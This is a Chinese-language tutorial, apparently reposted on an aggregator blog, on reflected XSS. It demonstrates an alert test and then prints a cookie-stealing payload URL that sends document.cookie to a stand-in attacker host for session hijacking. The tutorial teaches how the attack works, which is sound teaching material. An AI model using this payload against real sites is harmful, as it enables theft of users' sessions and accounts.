跨站脚本攻击之反射型XSS漏洞
如果一個WEB應用程序使用動態(tài)頁面?zhèn)鬟f參數(shù)向用戶顯示錯誤信息,就有可能會造成一種常見的XSS漏洞。一般情況下,這種頁面使用一個包含消息文本 的參數(shù),并在頁面加載時將文本返回給用戶。對于開發(fā)者來說,使用這種方法非常方便,因為這樣的解決方法可方便的將多種不同的消息返回狀態(tài),使用一個定制好 的信息提示頁面。
例如,通過程序參數(shù)輸出傳遞的參數(shù)到HTML頁面,則打開下面的網(wǎng)址將會返回一個消息提示:
http://fovweb.com/xss/message.php?send=Hello,World!
輸出內(nèi)容:
Hello,World!
此程序功能為提取參數(shù)中的數(shù)據(jù)并插入到頁面加載后的HTML代碼中,這是XSS漏洞的一個明顯特征:如果此程序沒有經(jīng)過過濾等安全措施,則它將會很容易受到攻擊。下面我們一起來看如何實施攻擊。
在原程序的URL的參數(shù)為,替換為我們用來測試的代碼:
http://fovweb.com/xss/message.php?send=<script>alert(‘xss’)</script>
頁面輸出內(nèi)容則為:
<script>alert(‘xss’)</script>
當用戶在用戶瀏覽器打開的時,將會彈出提示消息。如圖1所示:
圖1 通過URL傳參測試XSS
在目前互聯(lián)網(wǎng)的Web程序中存在的XSS漏洞,有近75%的漏洞屬于這種簡單的XSS漏洞。由于這種漏洞需要發(fā)送一個包含了嵌入式 JavaScript代碼的請求,隨后這些代碼被反射給了發(fā)出請求的用戶,因此被稱為反射型XSS。攻擊有效符合分別通過一個單獨的請求與響應進行傳送和 執(zhí)行,因為也被稱為一階XSS。
利用漏洞
利用XSS漏洞攻擊Web程序的其它用戶的方式有很多種。最簡單的一種攻擊方法是,利用XSS漏洞來劫持已通過驗證的用戶的會話。劫持到已驗證的會話后,攻擊發(fā)起者則擁有該授權用戶的所有權限。
利用反射型XSS漏洞進行會話權限劫持的攻擊步驟,如圖2所示:
圖2 反射型XSS漏洞的攻擊步驟
(1) 用戶正常登錄Web應用程序,登錄成功會得到一個會話信息的cookie:
例:
Set-cookie:sessId = f16e1035c301aa099c971682d806c0c7 f16e1035c301aa099c971682d806c0c7
(2) 攻擊者將含有攻擊代碼的URL發(fā)送給被攻擊人;
例:
http://fovweb.com/xss/message.php?send=%3Cscript%3Edocument.write(‘%3Cimg%20height=0%20width=0%20src=%22 http://hacker.fovweb.com/xss/cookie_save.php%3Fcookie=%3D’%20+%20encodeURL(document.cookie)%20+%20’%22/%3E’)%3C/script%3E
(3) 用戶打開攻擊者發(fā)送過來的ULR;
(4) Web應用程序執(zhí)行用戶發(fā)出的請求;
(5) 同時也會執(zhí)行該URL中所含的攻擊者的JavaScript代碼;
(6) 例子中攻擊者使用的攻擊代碼作用是將用戶的cookie信息發(fā)送到cookie_save.php這個文件來記錄下來;
(7) 攻擊者在得到用戶的cookie信息后,將可以利用這些信息來劫持用戶的會話。以該用戶的身份進行登錄。
chaunceyhao
總結
以上是生活随笔為你收集整理的跨站脚本攻击之反射型XSS漏洞的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 《魔力宝贝:复兴》兑换码礼包兑换方法
- 下一篇: 大蒜怎么吃